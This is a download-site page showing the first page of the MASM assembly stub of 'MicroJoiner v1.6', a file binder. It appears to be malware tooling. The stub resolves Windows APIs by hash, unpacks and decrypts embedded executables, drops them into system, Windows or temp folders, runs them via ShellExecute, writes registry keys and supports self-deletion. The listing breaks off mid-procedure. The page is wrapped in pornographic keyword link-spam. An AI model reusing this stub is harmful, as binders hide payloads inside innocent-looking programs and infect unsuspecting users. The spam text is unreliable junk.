亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? stub.asm

?? 很著名的MicroJoinerv1.6捆綁工具源代碼,很不錯
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
; ----------------------------------------
;
;  (C) Alex Demchenko (coban2k@mail.ru)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

; Stub size: 1536 bytes
; Assembler: MASM32
; Linker: MS Incremental Linker 5.12.8078 (FIXED)

; There are some offsets that should be fixed from GUI (thay are commented
; somewhere below). These jump offsets should be written in STUB_FIX1 
; and STUB_FIX2 accordingly.

; "EncodeToDb" util is used to encode exe files into masm .inc files, which can 
; be stored in the GUI's .data section
; "ProcGen" util is used to generate function hashes

; Thanks to 
;       LSD team for hash function
;       Sars for kernel32 hModule search method (after some optimizations, this
;               method weights less then LSD's PEB scanning :)
;       Iczelion for great asm manuals and PE tutorials

; #########################################################################

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

; #########################################################################

        include user32.inc
        includelib user32.lib
        include kernel32.inc
        includelib kernel32.lib

        .data?
                ; Global Buffers (do not change order)
                lpBuf           db      512 dup(?) ; Common buffer
                lpSelfPath      db      512 dup(?) ; Path of current executable
                lpMeltSrc       db      512 dup(?) ; Melting source buffer
                lpAltArgs       db      512 dup(?) ; Alternative arguments (melting)
                lpPath          db      512 dup(?) ; Directory to run from

        .data
                szKernel        db      "kernel32",0
                szUser          db      "user32",0
                szShell         db      "shell32",0
                szAdvApi        db      "advapi32",0
                dwFuncs         dd      045744193h ; ShellExecuteA
                                dd      0c0d6d616h ; CloseHandle
                                dd      0e6ff2cb9h ; ExitProcess                                
                                dd      038c62a7ah ; CreateFileA
                                dd      01475bb1ah ; GetSystemDirectoryA
                                dd      08aaff1bbh ; GetTempFileNameA
                                dd      0b929dc95h ; GetTempPathA
                                dd      01259ad09h ; GetWindowsDirectoryA
                                dd      0c2f6d009h ; GlobalAlloc
                                dd      058d8c545h ; WriteFile
                                dd      049462a7bh ; DeleteFileA
                                dd      060f43f1bh ; GetModuleFileNameA
                                dd      0789f5271h ; wsprintfA
                                dd      006eb9d6ah ; CreateDirectoryA
                                dd      0d24e569ah ; GetCurrentDirectoryA
                                dd      0a718d938h ; RegCreateKeyA
                                dd      09775a748h ; RegSetValueExA
                                dd      offset CommonLoad
                                dd      offset _lstrlen
                                dd      offset _lstrcpyd
                                dd      offset _lstrcpyd2 
                                dd      offset lpPath
                                dd      "ssa*"
                                dd      "lbme"
                                dd      "or y"
                                dd      "*xx"
                                dd      offset getbit
                szOpen          db      "open",0

        .const
                ; Function offsets table
                _ShellExecute           equ     dword ptr[ebp+4*0]
                _CloseHandle            equ     dword ptr[ebp+4*1]
                _ExitProcess            equ     dword ptr[ebp+4*2]
                _CreateFile             equ     dword ptr[ebp+4*3]
                _GetSystemDirectory     equ     dword ptr[ebp+4*4]
                _GetTempFileName        equ     dword ptr[ebp+4*5]
                _GetTempPath            equ     dword ptr[ebp+4*6]
                _GetWindowsDirectory    equ     dword ptr[ebp+4*7]
                _GlobalAlloc            equ     dword ptr[ebp+4*8]
                _WriteFile              equ     dword ptr[ebp+4*9]
                _DeleteFile             equ     dword ptr[ebp+4*10]
                _GetModuleFileName      equ     dword ptr[ebp+4*11]
                _wsprintf               equ     dword ptr[ebp+4*12]
                _CreateDirectory        equ     dword ptr[ebp+4*13]
                _GetCurrentDirectory    equ     dword ptr[ebp+4*14]
                _RegCreateKey           equ     dword ptr[ebp+4*15]
                _RegSetValueEx          equ     dword ptr[ebp+4*16]
                _CommonLoad             equ     dword ptr[ebp+4*17]
                __lstrlen               equ     dword ptr[ebp+4*18]
                __lstrcpyd              equ     dword ptr[ebp+4*19]
                __lstrcpyd2             equ     dword ptr[ebp+4*20]
                _lpPath                 equ     dword ptr[ebp+4*21]
                _lpMem                  equ     dword ptr[ebp+4*22]
                _esp                    equ     dword ptr[ebp+4*23]
                _ofsdir                 equ     dword ptr[ebp+4*24]
                _dwLen                  equ     dword ptr[ebp+4*25]
                _getbit                 equ     dword ptr[ebp+4*26]
                _szOpen                 equ     dword ptr[ebp+4*27]

        .code

; #########################################################################

; aPlib unpack
_aP_depack_asm:
    pushad
    mov    edi, _lpMem

    mov    dl, 80h

literal:
    movsb
    mov    dh, 2
nexttag:
    call   _getbit
    jnc    literal

    xor    ecx, ecx
    call   _getbit
    jnc    codepair
    xor    eax, eax
    call   _getbit
    jnc    shortmatch
    mov    dh, 2
    inc    ecx
    mov    al, 10h
getmorebits:
    call   _getbit
    adc    al, al
    jnc    getmorebits
    jnz    domatch
    stosb
    jmp    short nexttag
codepair:
    call   getgamma_no_ecx
    push   edx
    movzx  edx, dh
    sub    ecx, edx
    pop    edx
    jnz    normalcodepair
    call   getgamma
    jmp    short domatch_lastpos

shortmatch:
    lodsb
    shr    eax, 1
    jz     donedepacking
    adc    ecx, ecx
    jmp    short domatch_with_2inc

normalcodepair:
    xchg   eax, ecx
    dec    eax
    shl    eax, 8
    lodsb
    call   getgamma
    cmp    eax, 32000
    jae    domatch_with_2inc
    cmp    ah, 5
    jae    domatch_with_inc
    cmp    eax, 7fh
    ja     domatch_new_lastpos

domatch_with_2inc:
    inc    ecx

domatch_with_inc:
    inc    ecx

domatch_new_lastpos:
    xchg   eax, ebx
domatch_lastpos:
    mov    eax, ebx

    mov    dh, 1
domatch:
    push   esi
    mov    esi, edi
    sub    esi, eax
    rep movsb
    pop    esi
    jmp    short nexttag

getbit::
    add    dl, dl
    jnz    stillbitsleft
    mov    dl, [esi]
    inc    esi
    adc    dl, dl
stillbitsleft:
    ret

getgamma:
    xor    ecx, ecx
getgamma_no_ecx:
    inc    ecx
getgammaloop:
    call   _getbit
    adc    ecx, ecx
    call   _getbit
    jc     getgammaloop
    retn

donedepacking:
    sub    edi, _lpMem
    mov    [esp + 28], edi    ; return unpacked length in eax

    popad
    retn

; Process each file (create, unpack, decrypt, write, execute)
Write proc uses esi
        mov     _esp, esp

        mov     byte ptr[ebx], 0

        lodsd
        xchg    eax, edx

        lodsd
        push    eax             ; dwShellVis

        push    esi             ; lpOfsArgs
        call    __lstrcpyd2     ; Decrypt

        push    esi             ; szKey
        call    __lstrcpyd2     ; Decrypt

        lodsd
        push    eax             ; dwFileAttribs

        push    edx             ; Param bit-mask

        mov     _ofsdir, esi    ; Offset to custom directory
        call    __lstrcpyd2     ; Decrypt
        push    esi

@dir_again:
        ; Common params
        push    500
        push    ebx

        mov     ecx, _GetTempPath
        test    dl, dl
        jz      @dir_temp
        shr     dl, 1
        jc      @dir_sys
        shr     dl, 1
        jc      @dir_win
        shr     dl, 1
        jc      @dir_cur

@dir_cust:
        ; Run from custom folder
        pop     edx
        pop     ecx             ; = 500
        mov     esi, _ofsdir
        call    __lstrcpyd
        jmp     @F

@dir_win:
        ; Run from Windows folder
        call    _GetWindowsDirectory
        jmp     @F

@dir_sys:
        ; Run from System folder
        call    _GetSystemDirectory
        jmp     @F

@dir_cur:
        ; Run from Current folder
        mov     ecx, _GetCurrentDirectory

@dir_temp:
        ; Run from Temp folder
        pop     eax
        pop     edx
        push    eax
        push    edx

        call    ecx
@@:
        ; Check if directory is not empty 
        ; and if it's empty (NULL) get windows directory
        cmp     byte ptr[ebx], 0
        jnz     @F
        mov     dl, 2
        jmp     @dir_again

@@:
        mov     edi, ebx
        mov     ecx, 500

        ; Copy Directory to lpPath
        mov     edx, _lpPath
        mov     esi, ebx
        call    __lstrcpyd

        ; Create temp or custom folder
        ; ----------------------------

        ; Windows can't create subfolders within unexistant parent 
        ; folder (eg. C:\111\222\333) :(
@create_dir:
        mov     al, '\'
        repne scasb
        push    ecx
        mov     byte ptr[edi-1], 0

        push    0
        push    ebx
        call    _CreateDirectory

        mov     byte ptr[edi-1], '\'
        pop     ecx
        test    ecx, ecx
        jnz     @create_dir

        push    ebx
        push    ecx

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
视频在线观看国产精品| 日本一区二区三区免费乱视频| 中文字幕欧美激情一区| 国产一区二区电影| 久久综合网色—综合色88| 激情综合色播激情啊| 久久久久97国产精华液好用吗| 国产一二三精品| 中文字幕不卡在线观看| 91小视频在线| 亚洲成人你懂的| 欧美一区二区三区四区高清| 久久电影网电视剧免费观看| 久久综合99re88久久爱| 成人一区二区三区视频| 一区二区三区蜜桃| 欧美一二三在线| 国产剧情av麻豆香蕉精品| 一区在线观看免费| 3atv一区二区三区| 国产福利91精品一区二区三区| 亚洲婷婷综合色高清在线| 欧美性大战久久久久久久蜜臀| 蜜桃在线一区二区三区| 日本一区二区三区国色天香 | 国产精品另类一区| 欧美制服丝袜第一页| 韩国午夜理伦三级不卡影院| 一区精品在线播放| 日韩欧美一区二区久久婷婷| 成人福利在线看| 日本成人中文字幕在线视频| 国产精品无圣光一区二区| 欧美日韩一区二区三区不卡 | 午夜日韩在线观看| 精品久久久久久综合日本欧美| 成人午夜激情影院| 三级影片在线观看欧美日韩一区二区 | 欧美aaaaaa午夜精品| 欧美国产丝袜视频| 欧美福利电影网| 99久久久精品免费观看国产蜜| 免费看欧美女人艹b| 亚洲日本va午夜在线电影| 精品对白一区国产伦| 日本高清不卡在线观看| 国产乱子伦视频一区二区三区| 亚洲成人7777| 国产精品久久久久久妇女6080| 精品欧美乱码久久久久久1区2区| 在线观看视频一区二区| 成人免费观看视频| 国内外成人在线| 日韩精品免费专区| 亚洲综合激情小说| 亚洲精品在线电影| 欧美一级生活片| 一本大道久久a久久综合婷婷 | 久久久久久久精| 欧美情侣在线播放| 日本韩国精品一区二区在线观看| 国产99久久久国产精品潘金网站| 日本欧美一区二区在线观看| 亚洲一区二区精品久久av| 国产精品国产三级国产普通话99| 久久综合一区二区| 久久综合色8888| 91精品国产色综合久久不卡蜜臀| 欧洲一区在线观看| 色欧美日韩亚洲| 91在线云播放| 91视频com| av一区二区三区黑人| 国产不卡免费视频| 国产精品 日产精品 欧美精品| 久久99国产乱子伦精品免费| 日日夜夜免费精品视频| 午夜电影一区二区三区| 性做久久久久久免费观看欧美| 一卡二卡三卡日韩欧美| 伊人色综合久久天天| 亚洲精品中文字幕乱码三区| 亚洲图片激情小说| 亚洲欧美电影院| 一区二区三区中文免费| 亚洲一区免费观看| 午夜精品一区二区三区三上悠亚| 日韩不卡在线观看日韩不卡视频| 轻轻草成人在线| 精品一区二区在线播放| 极品少妇xxxx偷拍精品少妇| 国产综合色视频| 成人黄色网址在线观看| 色哟哟一区二区| 欧美撒尿777hd撒尿| 欧美一三区三区四区免费在线看 | 日韩免费视频线观看| 日韩精品一区二区三区视频| 久久综合狠狠综合久久激情| 日本一区二区不卡视频| 亚洲欧美一区二区久久| 一区二区三区国产豹纹内裤在线 | 日韩欧美中文一区| 久久久久久久久久久久电影 | 中文字幕五月欧美| 亚洲影视在线观看| 美腿丝袜亚洲三区| 成人性生交大片免费看中文网站| av电影天堂一区二区在线观看| 97久久精品人人做人人爽 | 日本v片在线高清不卡在线观看| 日韩国产成人精品| 国精产品一区一区三区mba视频| 91亚洲精品一区二区乱码| 91麻豆精品国产91| 欧美经典一区二区三区| 亚洲最大成人网4388xx| 日韩成人精品在线观看| 成+人+亚洲+综合天堂| 91精品国产全国免费观看| 久久久久久97三级| 爽好久久久欧美精品| 懂色av中文字幕一区二区三区| 欧美主播一区二区三区美女| 精品国产乱码久久| 一区二区高清视频在线观看| 韩国av一区二区三区四区| 色综合久久88色综合天天| 精品国产精品网麻豆系列| 亚洲精品国产视频| 国产综合色产在线精品| 欧美日韩精品欧美日韩精品一 | 99v久久综合狠狠综合久久| 7777女厕盗摄久久久| 亚洲视频一二三区| 狠狠狠色丁香婷婷综合激情| 在线免费观看不卡av| 日本一区二区三区在线观看| 免费成人av资源网| 欧洲av在线精品| 中文字幕一区二区三区视频| 麻豆成人久久精品二区三区小说| 日本高清不卡在线观看| 国产精品久久久久久亚洲伦| 美女任你摸久久 | 男女性色大片免费观看一区二区| 99久久er热在这里只有精品66| 精品国产一区二区三区久久久蜜月| 尤物av一区二区| 粉嫩绯色av一区二区在线观看 | 色综合久久久久久久| 久久这里只有精品6| 蜜臀va亚洲va欧美va天堂 | 欧美性生交片4| 国产精品国产三级国产普通话99 | 国产精品亚洲视频| 日韩一区二区精品葵司在线| 亚洲444eee在线观看| 91亚洲精品乱码久久久久久蜜桃| 国产日韩成人精品| 国产毛片精品视频| 精品捆绑美女sm三区| 日韩电影在线一区| 欧美喷水一区二区| 亚洲午夜久久久久久久久电影网| 一本色道久久综合亚洲aⅴ蜜桃| 国产精品欧美极品| 国产传媒欧美日韩成人| 久久久99精品免费观看不卡| 狠狠色狠狠色综合| 国产色产综合色产在线视频| 国产一区二区三区综合| 精品99999| 国产精品亚洲午夜一区二区三区 | 国产精品视频一二三区| 国产麻豆视频一区| 久久久久国产成人精品亚洲午夜| 国产精品正在播放| 国产日本欧美一区二区| 国产91精品精华液一区二区三区| 久久综合成人精品亚洲另类欧美| 国产在线不卡一卡二卡三卡四卡| 欧美白人最猛性xxxxx69交| 国内精品免费在线观看| 国产欧美视频一区二区三区| 成人网在线免费视频| 国产精品久久精品日日| 色美美综合视频| 天堂精品中文字幕在线| 欧美一级高清片| 国产精品一区一区| 日本一区二区高清| 欧美亚洲国产怡红院影院| 亚洲大片免费看| 欧美成人女星排名| 国产精品一区二区在线观看不卡| 中文av字幕一区| 欧美午夜电影一区| 久久99这里只有精品| 中文字幕成人网|